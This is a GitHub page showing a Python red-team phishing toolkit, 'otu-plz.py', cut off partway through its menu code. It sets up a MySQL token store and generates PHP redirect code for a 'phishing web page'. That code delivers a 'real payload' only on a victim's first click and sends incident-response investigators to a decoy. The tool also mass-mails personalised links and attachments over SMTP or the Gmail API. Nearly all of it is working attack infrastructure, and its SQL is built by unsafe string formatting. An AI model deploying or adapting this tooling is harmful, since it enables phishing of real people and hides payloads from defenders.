-
Notifications
You must be signed in to change notification settings - Fork 4
/
otu-plz.py
executable file
·1437 lines (1281 loc) · 55.6 KB
/
otu-plz.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/python
# Script created by Jesse Nebling (@bashexplode)
# A toolkit that creates and interacts with mysql, generates one-time URL tokens, generates PHP code that
# should be placed on the dedicated web server where one-time URL token use is desired, and sends emails to victims.
#
# This script is to evade IR detection on red teaming engagements, so if a connection string to a payload is discovered
# it will no longer be valid and will redirect an IR team to an arbitrary website or fake payload.
import MySQLdb
import subprocess
import string
import csv
import os
import sys
import time
import random
import readline
import re
import smtplib
import traceback
from email.mime.text import MIMEText
import pickle
import base64
from googleapiclient.discovery import build
from google_auth_oauthlib.flow import InstalledAppFlow
from google.auth.transport.requests import Request
from googleapiclient import errors, discovery
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from datetime import datetime
from email import encoders
readline.parse_and_bind("tab: complete")
def cmdline(command): # was annoyed at os.system output so pulled this
process = subprocess.Popen(
args=command,
stdout=subprocess.PIPE,
shell=True
)
return process.communicate()[0]
# Class created by Jesse Nebling (@bashexplode)
# A script that creates a mysql database
class mysqldbcreation:
def __init__(self, user, pwd, db, outfile):
self.user = user
self.password = pwd
self.db = db
self.outfile = outfile
def networkcheck(self):
# Check if skip-networking is in ~/.my.cnf
# If not add it so we're not exposing our mysql dbs on the internet
print("[*] Checking if my.cnf is in the standard location..")
if cmdline("ls /etc/mysql/my.cnf"):
if "[mysqld]" not in cmdline("cat /etc/mysql/my.cnf").decode("utf-8").split("\n"):
print("[+] Adding msqld group tag to my.cnf.")
cmdline("echo [mysqld] >> /etc/mysql/my.cnf")
if "skip-networking" not in cmdline("cat /etc/mysql/my.cnf").decode("utf-8").split("\n"):
print("[!] Security first kiddies.")
print("[+] Adding skip-networking flag under [mysqld] group in my.cnf")
cmdline("sed -i '/\[mysqld\]/a skip-networking' /etc/mysql/my.cnf")
else:
print("I wrote this for Debian distros, your mysql conf file is not in the spot for those distros \
[/etc/mysql/my.cnf]")
print("If you continue your mysql database will be exposed to the the network.")
continue_prompt = input("Would you like to continue? (y/N): ")
if not continue_prompt.lower() == 'yes' and not continue_prompt.lower() == 'y':
exit()
def runcheck(self):
# Script should be run as user who can start and interact with mysql
# Check if mysql is running, if not start it up
print("[*] Checking if MySQL is running...")
msqlr = cmdline("sudo /bin/netstat -al").decode("utf-8").split('\n')
mysqlrunning = False
for line in msqlr:
if "LISTENING" in line and "/var/run/mysqld/mysqld.sock" in line:
mysqlrunning = True
if mysqlrunning:
print("[+] MySQL is running.")
cmdline('sudo service mysql restart')
else:
print("[-] MySQL is not running.")
print("[*] Starting MySQL.")
cmdline('sudo service mysql start')
print("[+] MySQL started.")
def dbusercheck(self):
conn = MySQLdb.connect(host="localhost")
check_user_exist_sql = "select user from mysql.user where user='%s'" % self.user
cursor = conn.cursor()
cursor.execute(check_user_exist_sql)
result = cursor.fetchone()
if result:
print("[+] %s user already exists, moving on." % self.user)
else:
print("[-] %s user does not exist." % self.user)
print("[*] Creating %s database user..." % self.user)
sql = "CREATE USER '%s'@'localhost' IDENTIFIED BY '%s'" % (self.user, self.password)
cursor.execute(sql)
print("[+] %s database user created." % self.user)
def dbuserpermcheck(self):
conn = MySQLdb.connect(host="localhost")
check_user_perms_sql = "show grants for '%s'@'localhost'" % self.user
cursor = conn.cursor()
cursor.execute(check_user_perms_sql)
result = cursor.fetchall()
permission_binary = False
for permrecord in result:
if "ALL" in permrecord[0] and "otu" in permrecord[0]:
permission_binary = True
if permission_binary:
print("[+] %s user already has sufficient permission to the %s database, moving on." % (self.user, self.db))
else:
print("[-] %s user does not have sufficient permission to the %s database." % (self.user, self.db))
print("[*] Granting %s database user permission..." % self.user)
sql = "GRANT ALL PRIVILEGES ON %s.* TO '%s'@'localhost'" % (self.db, self.user)
cursor.execute(sql)
print("[+] Full permission granted to %s database user for the %s database." % (self.user, self.db))
def dbcheck(self):
check_db_exist_sql = "select count(*) from information_schema.SCHEMATA \
where SCHEMA_NAME='%s';" \
% self.db
# verify whether db exists
conn = MySQLdb.connect(host="localhost")
try:
print("[*] Checking if %s database exists..." % self.db)
cursor = conn.cursor()
cursor.execute(check_db_exist_sql)
number = cursor.fetchone()
if number[0] == 0:
print("[-] %s database does not exist." % self.db)
print("[*] Creating %s database..." % self.db)
sql = 'CREATE DATABASE IF NOT EXISTS %s' % self.db
cursor.execute(sql)
print("[+] %s database created." % self.db)
except TypeError:
print("[!] Invalid username and/or password was used for MySQL database.")
def tablecheck(self):
check_table_exist_sql = "SELECT * FROM information_schema.tables WHERE table_name = 'tokens'"
conn = MySQLdb.connect(host="localhost", db=self.db)
try:
cursor = conn.cursor()
print("[*] Checking if tokens table exists...")
cursor.execute(check_table_exist_sql)
if cursor.fetchone():
print("[+] tokens table exists")
else:
print("[-] tokens table does not exist.")
print("[*] Creating tokens table...")
sql = 'CREATE TABLE tokens (id INTEGER UNSIGNED NOT NULL, token CHAR(40) NOT NULL, user VARCHAR(45), ' \
'emailAddress VARCHAR(45), createdTstamp INTEGER UNSIGNED NOT NULL, firstExecutedTstamp INTEGER ' \
'UNSIGNED, timesExecuted INTEGER UNSIGNED, PRIMARY KEY(token)); '
cursor.execute(sql)
print("[+] tokens table created.")
except TypeError:
print("[!] Invalid username and/or password was used for MySQL database.")
# Test data sql = "INSERT INTO tokens (id, token, user, createdTstamp) VALUES ('0', 'testtesttesttesttest',
# '123456790abcdefghijklmnopqrstuvwxyz', '1234567890');" cursor.execute(sql) conn.commit() print("[+]
# Test data inserted into tokens table.")
def clearall(self):
cmdline("sed -i 's/skip-networking//' /etc/mysql/my.cnf")
conn = MySQLdb.connect(host="localhost")
drop_bombs = "DROP DATABASE %s" % self.db
cursor = conn.cursor()
cursor.execute(drop_bombs)
print("[!] Bombs dropped.")
conn = MySQLdb.connect(host="localhost")
eradicate_user = "DROP USER IF EXISTS '%s'@'localhost'" % self.user
cursor = conn.cursor()
cursor.execute(eradicate_user)
print("[!] User eradicated.")
def exportdb(self):
print("[*] Exporting otu database...")
conn = MySQLdb.connect(host="localhost", db=self.db)
crsr = conn.cursor()
crsr.execute("SELECT * FROM tokens")
header = "ID,Token,User,EmailAddress,TokenCreated,TokenExecuted,TimesExecuted\n"
f = open(self.outfile, "w")
f.write(header)
f.close()
with open(self.outfile, 'a') as f:
writer = csv.writer(f)
for row in crsr.fetchall():
writer.writerow(row)
cwd = os.getcwd()
print("[+] File written to %s/%s" % (cwd, self.outfile))
def displaydb(self):
conn = MySQLdb.connect(host="localhost", db=self.db)
cursor = conn.cursor()
sql = "SELECT * FROM tokens"
cursor.execute(sql)
conn.commit()
results = cursor.fetchall()
widths = []
columns = []
tavnit = '|'
separator = '+'
for cd in cursor.description:
widths.append(max(cd[2], len(cd[0])))
columns.append(cd[0])
for w in widths:
tavnit += " %-" + "%ss |" % (w,)
separator += '-' * w + '--+'
print(separator)
print(tavnit % tuple(columns))
print(separator)
for row in results:
print(tavnit % row)
print(separator)
def getrowcount(self):
if self.user:
conn = MySQLdb.connect(host="localhost", user=self.user, passwd=self.password, db=self.db)
else:
conn = MySQLdb.connect(host="localhost", db=self.db)
cursor = conn.cursor()
sql = "SELECT COUNT(*) FROM tokens"
cursor.execute(sql)
conn.commit()
results = cursor.fetchall()
return int(results[0][0])
# Class created by Jesse Nebling (@bashexplode)
# A script generates a one time use token, inserts into a mysql database, and outputs the URL.
class OTU:
def __init__(self, id, user, pwd, db, username, emailaddr):
self.user = user
self.password = pwd
self.db = db
self.username = username
self.token = None
self.timestamp = None
self.emailaddr = emailaddr
self.id = id
def generate(self):
print("[+] Generating token and saving timestamp for %s email address." % self.emailaddr)
self.timestamp = int(time.time())
self.token = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(40))
def dbinsert(self):
conn = MySQLdb.connect(host="localhost", db=self.db)
sql = "INSERT INTO tokens (id, token, user, emailAddress, createdTstamp, timesExecuted) VALUES ('%s', '%s', '%s', '%s', "\
"'%s', '0');" % (self.id, self.token, self.username, self.emailaddr, self.timestamp)
cursor = conn.cursor()
cursor.execute(sql)
print("[+] Inserting data into %s database" % self.db)
conn.commit()
def displayURL(self):
print("[+] URL standard format:")
print("http://yourdomain.com/otu.php?param=%s\n" % self.token)
# Class created by Jesse Nebling (@bashexplode)
# A script that generates a php file to redirect users to one time payloads
class OTUPHP:
def __init__(self, user, pwd, db, expire, primeredirect, otherredirect, times, outfile, urlparam, notokenpage):
self.user = user
self.password = pwd
self.db = db
self.redirectone = primeredirect
self.redirecttwo = otherredirect
self.expiry = expire
self.times = times
self.outfile = outfile
self.phpfile = ""
self.urlparam = urlparam
self.notokenpage = notokenpage
def generate(self):
self.phpfile = """<?php
$servername = "localhost";
$user = "%s";
$password = "%s";
$dbname = "%s";
$param = "%s";
$conn = new mysqli($servername, $user, $password, $dbname);
if ($conn->connect_errno) {
echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}
// retrieve token
if (isset($_GET[$param]) && preg_match('/^[0-9A-Za-z]{40}$/i', $_GET[$param])) {
$token = $_GET[$param];
//echo "token was set"."<br>";;
}
else {
//echo "token not set"."<br>";
// +======== REPLACE LINK HERE =========+
header( 'Location: %s' );
throw new Exception("Valid token not provided.");
}
// verify token
$query = "SELECT user, createdTstamp, timesExecuted FROM tokens WHERE token = '$token'";
$result = $conn->query($query);
$row = $result -> fetch_row();
$result->close();
if ($row) {
//echo "token was verified"."<br>";
$timesExecuted = (int) $row[2]; // timeExecuted
$createdTstamp = (int) $row[1]; // createdTstamp
//echo $row[0] . "<br>"; // user
}
else {
//echo "token is not valid" . "<br>";
// +======== REPLACE LINK HERE =========+
header( 'Location: %s' );
throw new Exception("Valid token not provided.");
}
// set timestamp to update db on first executed time and perform time check
$timestamp = time();
$delta = %s;
if ($_SERVER["REQUEST_TIME"] - $createdTstamp > $delta) {
// +======== REPLACE LINK HERE =========+
// do other action, like redirect to fake payload
header( 'Location: %s' );
throw new Exception("Token has expired.");
}
// check if the token was ever used
if ($timesExecuted <= %s) {
//echo "Never executed";
// Add the first executed time stamp to db
$query = $conn->prepare("UPDATE tokens SET firstExecutedTstamp = ? WHERE token = ?");
$query->bind_param('is', $tstamp, $tokes);
$tstamp = $timestamp;
$tokes = $token;
$query->execute();
$query->close();
//Add counter so the token can't be used more than once
$query = $conn->prepare("UPDATE tokens SET timesExecuted = timesExecuted + 1 WHERE token = ?");
$query->bind_param('s', $tokes);
$tokes = $token;
$query->execute();
$query->close();
// +======== REPLACE LINK HERE =========+
// do one-time action here, like redirecting to real payload
header( 'Location: %s' );
}
else {
//echo "Executed " . $row[2] . " times";
//Add counter to see how many times the user or the pesky IR team tries to execute
$query = $conn->prepare("UPDATE tokens SET timesExecuted = timesExecuted + 1 WHERE token = ?");
$query->bind_param('s', $tokes);
$tokes = $token;
$query->execute();
$query->close();
// +======== REPLACE LINK HERE =========+
// do other action, like redirect to fake payload
header( 'Location: %s' );
}
?>""" % (self.user, self.password, self.db, self.urlparam, self.notokenpage, self.notokenpage, self.expiry, self.redirecttwo, self.times, self.redirectone, self.redirecttwo)
def display(self):
print(self.phpfile)
def writetofile(self):
php_file = open(self.outfile, "w")
php_file.write(self.phpfile)
php_file.close()
cwd = os.getcwd()
print("[+] File written to %s/%s" % (cwd, self.outfile))
print("[*] Please manually copy and paste the code into the web page you wish to redirect from\n")
# Ripped, modified, and turned into a class from mass_email.py by Clinton Mueller, which was based on sendmail.rb
class Sendmail:
def __init__(self, username, password, dbname, sendids, addr_from, smtp_pass, subject, smtpsrv, smtpport, messagef, url, url_param, attachment, gapi, tokenfile):
self.addr_from = addr_from
self.smtp_pass = smtp_pass
self.subject = subject
self.smtp_server = smtpsrv
self.smtp_port = smtpport
self.message_file = messagef
self.URL = url
self.url_param = url_param
self.attachment = attachment
self.username = username
self.password = password
self.dbname = dbname
self.sendids = sendids
self.gapi = gapi
self.token_file = tokenfile
def check(self):
# Check if the emails, message, and attachment files exist
if not os.path.exists(self.message_file):
raise ValueError("[-] The message file " + self.message_file + " does not exist.")
if not self.addr_from:
raise ValueError("[-] smtp_sender_email is not set.")
if self.gapi:
if not self.token_file:
raise ValueError("[-] token_file is not set.")
else:
if not self.smtp_pass:
raise ValueError("[-] smtp_password is not set.")
if not self.subject:
raise ValueError("[-] subject is not set.")
if not self.URL:
raise ValueError("[-] URL is not set.")
if self.attachment:
if not os.path.exists(self.attachment):
raise ValueError("[-] The attachment " + self.attachment + " does not exist.")
def executesend(self):
# Split the sendids variable into single values in a list for db digestion
sendto = []
if self.sendids == "all":
dbaction = mysqldbcreation(self.username, self.password, self.dbname, None)
rowcount = dbaction.getrowcount()
if rowcount == 1:
self.sendids = "1"
else:
self.sendids = "1-" + str(rowcount)
if "," in self.sendids:
sendto = self.sendids.split(',')
for id in sendto:
if '-' in id:
sendto.remove(id)
idrange = id.split("-")
start = int(idrange[0])
end = int(idrange[1]) + 1
for i in range(start, end, 1):
sendto.append(str(i))
elif "-" in self.sendids:
idrange = self.sendids.split('-')
start = int(idrange[0])
end = int(idrange[1]) + 1
for i in range(start, end, 1):
sendto.append(str(i))
else:
sendto = self.sendids
if self.username:
conn = MySQLdb.connect(host="localhost", user=self.username, passwd=self.password, db=self.dbname)
else:
conn = MySQLdb.connect(host="localhost", db=self.dbname)
# Send uniq message for each person
for sendid in sendto:
try:
crsr = conn.cursor()
crsr.execute("SELECT * FROM tokens WHERE id = '%s'" % str(sendid))
record = crsr.fetchall()
token = record[0][1]
user = record[0][2]
emailaddr = record[0][3]
customizedmessage = self.customMessage(token, user)
if self.gapi:
self.sendMessageGAPI(emailaddr, customizedmessage)
else:
self.sendMessage(emailaddr, customizedmessage)
except TypeError:
print("[!] Error on send_id %s" % sendid)
print("[!] Invalid username and/or password was used for MySQL database.")
traceback.print_exc()
# Function to send the emails
def sendMessageGAPI(self, email, message):
print("made it into gapi send")
SCOPES = ['https://www.googleapis.com/auth/gmail.send']
creds = None
if os.path.exists(self.token_file):
print("token exists")
with open(str(self.token_file), 'rb') as token:
creds = pickle.load(token)
print("token loaded")
# If there are no (valid) credentials available, let the user log in.
if not creds or not creds.valid:
print("creds not valid?")
if creds and creds.expired and creds.refresh_token:
creds.refresh(Request())
else:
flow = InstalledAppFlow.from_client_secrets_file(
'credentials.json', SCOPES)
creds = flow.run_local_server(port=0)
# Save the credentials for the next run
with open(self.token_file, 'wb') as token:
pickle.dump(creds, token)
print("moving on?")
service = build('gmail', 'v1', credentials=creds)
msg = MIMEMultipart()
msg["To"] = email
msg["From"] = self.addr_from
msg["Date"] = str(datetime.now())
msg["Subject"] = self.subject
html = MIMEText(message, "html")
# Add attachment if there is one
if self.attachment:
part = MIMEBase('application', "octet-stream")
part.set_payload(open(self.attachment, "rb").read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',
'attachment; filename="{0}"'.format(os.path.basename(self.attachment)))
msg.attach(part)
msg.attach(html)
raw = base64.urlsafe_b64encode(msg.as_string().encode('utf-8'))
raw = raw.decode('utf-8')
body = {'raw': raw}
print('[*] Sending email')
try:
message = (service.users().messages().send(userId="me", body=body)
.execute())
print('[+] Message Sent Id: %s' % message['id'])
# return message
except errors.HttpError as error:
print('An error occurred: %s' % error)
print("[!] Message could not be sent. Check token_file, and smtp_sender_email.")
print("Sent email to: " + email + " at " + str(datetime.now()))
# Function to send the emails without api
def sendMessage(self, email, message):
msg = MIMEMultipart()
msg["To"] = email
msg["From"] = self.addr_from
msg["Date"] = str(datetime.now())
msg["Subject"] = self.subject
html = MIMEText(message, "html")
# Add attachment if there is one
if self.attachment:
part = MIMEBase('application', "octet-stream")
part.set_payload(open(self.attachment, "rb").read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="{0}"'.format(os.path.basename(self.attachment)))
msg.attach(part)
msg.attach(html)
try:
smtp_conn = smtplib.SMTP(self.smtp_server + ":" + self.smtp_port)
smtp_conn.starttls()
smtp_conn.login(self.addr_from, self.smtp_pass)
smtp_conn.sendmail(self.addr_from, email, msg.as_string())
smtp_conn.quit()
except:
print("[!] Message could not be sent. Check smtp_server, smtp_port, smtp_sender_email, and smtp_pass.")
print("Sent email to: " + email + " at " + str(datetime.now()))
# Function to customize the message and replace url and name placeholders
def customMessage(self, toke, user):
newmsg = ""
URLr = self.URL + "?" + self.url_param + "=" + toke
try:
with open(self.message_file, "r") as f:
newmsg = f.read()
newmsg = newmsg.replace("#{url}", URLr)
newmsg = newmsg.replace("#{name}", user)
except:
print("[!] There was an error trying to read the file: " + self.message_file)
return newmsg
# Class created by Jesse Nebling (@bashexplode)
# A script that takes a list of emails and users, generates a one-time use token for each, and uploads to MySQL db.
class sendmailuploader:
def __init__(self, username, password, dbname, emails, users):
self.username = username
self.password = password
self.dbname = dbname
self.emaillist = emails
self.userlist = users
self.addresses = []
self.users = []
self.enableusers = False
def emailsusersList(self):
try:
with open(self.emaillist, "r") as f:
for line in f:
if "@" in line:
self.addresses.append(line.rstrip())
except:
print("[!] There was an error trying to read the file: " + self.emaillist)
if self.userlist:
try:
with open(self.userlist, "r") as f:
for line in f:
self.users.append(line.rstrip())
except:
print("[!] There was an error trying to read the file: " + self.userlist)
def emailtouser(self):
self.users = []
for u in self.addresses:
if "." in u.split('@')[0]:
self.users.append(" ".join(u.split('@')[0].title().split('.')))
else:
self.users.append(u.split('@')[0].title())
def filecheck(self):
print("[*] Checking if email file exists")
if not os.path.exists(self.emaillist):
try:
raise ValueError("[!]" + self.emaillist + " does not exists.")
except ValueError:
print("[!] " + self.emaillist + " does not exists.")
else:
print("[+] " + self.emaillist + " exists.")
def checks(self):
self.filecheck()
print("[*] Validating input file(s)...")
self.emailsusersList()
print("[+] Input file(s) validated.")
if self.userlist:
if len(self.users) == len(self.addresses):
self.enableusers = True
else:
print("[-] User file and email file have different amount of lines, defaulting to email list for users.")
self.emailtouser()
else:
self.emailtouser()
def upload(self):
print("\n")
try:
dbaction = mysqldbcreation(self.username, self.password, self.dbname, None)
rowcount = dbaction.getrowcount() + 1
for i in range(len(self.addresses)):
otugenerator = OTU(rowcount, self.username, self.password, self.dbname, self.users[i], self.addresses[i])
otugenerator.generate()
otugenerator.dbinsert()
otugenerator.displayURL()
rowcount = rowcount + 1
except TypeError:
print("[!] Invalid username and/or password was used for MySQL database.")
except MySQLdb.Error:
print("[!] Invalid database, the dbname '%s' does not exist." % self.dbname)
try:
dbaction = mysqldbcreation(self.username, self.password, self.dbname, None)
dbaction.displaydb()
except TypeError:
print("[!] Invalid username and/or password was used for MySQL database.")
except MySQLdb.Error:
print("[!] Invalid database, the dbname '%s' does not exist." % self.dbname)
# Pulled and modified class from stackoverflow
# https://stackoverflow.com/questions/5637124/tab-completion-in-pythons-raw-input
class Completer(object):
def __init__(self, commands, currvars):
self.COMMANDS = commands
self.RE_SPACE = re.compile('.*\s+$', re.M)
self.currvars = currvars
def _listdir(self, root):
# "List directory 'root' appending the path separator to subdirs."
res = []
for name in os.listdir(root):
path = os.path.join(root, name)
if os.path.isdir(path):
name += os.sep
res.append(name)
return res
def _complete_path(self, path=None):
# "Perform completion of filesystem path."
if not path:
return self._listdir('.')
dirname, rest = os.path.split(path)
tmp = dirname if dirname else '.'
res = [os.path.join(dirname, p)
for p in self._listdir(tmp) if p.startswith(rest)]
# more than one match, or single match which does not exist (typo)
if len(res) > 1 or not os.path.exists(path):
return res
# resolved to a single directory, so return list of files below it
if os.path.isdir(path):
return [os.path.join(path, p) for p in self._listdir(path)]
# exact file match terminates this completion
return [path + ' ']
def complete_user_file(self, args):
# "Completions for the 'user_file' command."
if not args:
return self._complete_path('.')
# treat the last arg as a path and complete it
return self._complete_path(args[-1])
def complete_attachment(self, args):
# "Completions for the 'attachment' command."
if not args:
return self._complete_path('.')
# treat the last arg as a path and complete it
return self._complete_path(args[-1])
def complete_email_file(self, args):
# "Completions for the 'email_file' command."
if not args:
return self._complete_path('.')
# treat the last arg as a path and complete it
return self._complete_path(args[-1])
def complete_message_file(self, args):
# "Completions for the 'message_file' command."
if not args:
return self._complete_path('.')
# treat the last arg as a path and complete it
return self._complete_path(args[-1])
def complete_set(self, args):
if not args:
return self.currvars
return [x + ' ' for x in self.currvars if x.startswith(args[0])]
def complete(self, text, state):
# "Generic readline completion entry point."
butter = readline.get_line_buffer()
line = readline.get_line_buffer().split()
# show all commands
if not line:
return [c + ' ' for c in self.COMMANDS][state]
# account for last argument ending in a space
if self.RE_SPACE.match(butter):
line.append('')
# resolve command to the implementation function
if len(line) > 2:
cmd = line[1].strip()
if cmd in self.currvars:
impl = getattr(self, 'complete_%s' % cmd)
args = line[1:]
if args:
return (impl(args) + [None])[state]
return [cmd + ' '][state]
else:
cmd = line[0].strip()
if cmd in self.COMMANDS:
impl = getattr(self, 'complete_%s' % cmd)
args = line[1:]
if args:
return (impl(args) + [None])[state]
return [cmd + ' '][state]
results = [c + ' ' for c in self.COMMANDS if c.startswith(cmd)] + [None]
return results[state]
class Menu:
def __init__(self):
# Default variable definition
# For MySQL comms and export
self.username = "otuplz"
self.password = "otupassword"
self.dbname = "otu"
self.csv_filename = "one-time-URL-db.csv"
# For PHP code generation
self.phpusername = "otuplz"
self.phppassword = "otupassword"
self.expire = 604800
self.redir_one = "https://www.google.com"
self.redir_two = "https://www.wikipedia.com"
self.times = 1
self.php_filename = "otu.php"
self.urlparam = "uid"
self.no_tokenpage = "https://www.facebook.com"
# For OTU generation
self.otu_user = "John Doe"
self.otu_email = "[email protected]"
# For sendmail db upload
self.emails = None
self.usersfile = None
# For sendmail execution
self.sendids = "all"
self.message_file = None
self.addr_from = None
self.addr_to = None
self.smtp_pass = None
self.subject = None
self.smtp_server = "smtp.office365.com"
self.smtp_port = "587"
self.message_file = None
self.URL = "http://www.google.com/otu.php"
self.attachment = None
self.google_api = False
self.token_file = "token.pickle"
# Initialize dictionaries and initial menus
self.mainmenu_actions = {}
self.currvars = {}
self.curractions = {}
self.currset = None
self.currmenu = self.main_menu
self.module_exec = self.main_menu
self.other_actions = {}
self.mysqlsetup_vars = {}
self.mysqldisplay_vars = {}
self.mysqlexport_vars = {}
self.mysqlnuke_vars = {}
self.otugeneration_vars = {}
self.phpgeneration_vars = {}
# =======================
# MENUS DEFINITIONS
# =======================
# Main Menu definition
self.mainmenu_actions = {
'main_menu': self.currmenu,
'main_prompt': self.main_menu,
'1': self.mysqlsetupmenu,
'2': self.otugenerationmenu,
'3': self.phpgenerationmenu,
'4': self.displaydbmenu,
'5': self.exportdbmenu,
'6': self.sendmailuploadmenu,
'7': self.sendmailmenu,
'911': self.nukedb,
'42': self.test,
'9': self.back,
'0': self.exit,
'exit': self.exit,
'back': self.back,
'info': self.banner_text,
'show': self.banner_text,
'options': self.banner_text,
'something': self.banner_text,
'help': self.banner_text
}
self.update_vars()
self.banner_text()
def initialize_menu(self):
self.update_actions()
self.update_vars()
self.curractions = self.other_actions
def update_actions(self):
self.other_actions = {
'execute': self.module_exec,
'run': self.module_exec,
'main_menu': self.currmenu,
'set': self.set_vars,
'exit': self.exit,
'back': self.back,
'home': self.back,
'info': self.display_vars,
'show': self.display_vars,
'options': self.display_vars,
'help': self.display_vars
}
def update_vars(self):
self.mysqlsetup_vars = {
'menu': "MySQL Database Setup",
'desc': "This module creates a MySQL database with the following parameters (current user for DB access "
"by default). Note: Once executed the module will change the current system's MySQL configuration "
"file to disallow MySQL from broadcasting on the external network, the nuke option will reset the "
"configuration.",
'variables': {
'db_username': self.username,
'db_password': self.password,
'db_name': self.dbname
}
}
self.mysqldisplay_vars = {
'menu': "MySQL Database Display",
'desc': "This module displays MySQL database (current user for DB access by default).",
'variables': {
'db_name': self.dbname
}
}
self.mysqlexport_vars = {
'menu': "MySQL Database Export",
'desc': "This module exports MySQL database (current user for DB access by default).",
'variables': {
'db_username': self.username,
'db_password': self.password,
'db_name': self.dbname,
'output_file': self.csv_filename
}
}
self.mysqlnuke_vars = {
'menu': "MySQL Database Export",
'desc': "This module nukes current MySQL database (current user for DB access by default). Reverts MySQL "
"database configuration to system default and removes otu DB user.",
'variables': {
'db_username': self.username,
'db_name': self.dbname
}
}
self.otugeneration_vars = {
'menu': "One-Time URL Generation",
'desc': "This module generates a one-time token and URL and inserts the token into the MySQL database ("
"current user for DB access by default).",
'variables': {
'db_name': self.dbname,
'otu_user': self.otu_user,
'otu_email': self.otu_email
}
}
self.phpgeneration_vars = {
'menu': "PHP Generation",
'desc': "This module generates PHP code that should be inserted into the phishing web page for "
"redirection (root user for DB access and one-time execution by default). The code generated "
"determines how long after creation the token is set to be valid (expires) [in seconds], "
"where the token redirects to if it has not been used yet (redirect_real), where the token "
"redirects to if it has been use more the n times (redirect_fake), and how many times it allows "
"to be executed before redirecting to the fake payload/website (n_time_execution). "
"If the page is browsed to without having a token set at all, the default page will be redirect_token_notset.",
'variables': {
'db_username': self.phpusername,
'db_password': self.phppassword,
'db_name': self.dbname,
'expires': self.expire,
'redirect_tokennotset': self.no_tokenpage,
'redirect_real': self.redir_one,
'redirect_fake': self.redir_two,
'n_time_execution': self.times,
'output_file': self.php_filename,
'url_param': self.urlparam
},
'opts': "For the below options use 'set <variable> <option number>'\n\nexpires options:\n1)\t\t A "
"Month\n2)\t\t A Week [default]\n3)\t\t A Day\nCustom)\t\t Enter any number in seconds to set "
"custom token expiration time\n\nn_time_execution options:\n1)\t\t One-time use [default]\n2)\t\t "
"Two-times (for use with certutil)\n3)\t\t Three-times (for testing purposes) "
}
self.sendmailtokengenerator_vars = {
'menu': "Sendmail Email Token Generator",
'desc': "This module uploads a new line-separated list of emails to the OTU database and creates a token "
"for each individual email. The user_file should contain first and/or last names of the emails, "
"and must be in the same order to upload correctly. If user_file is set to None, the module will "
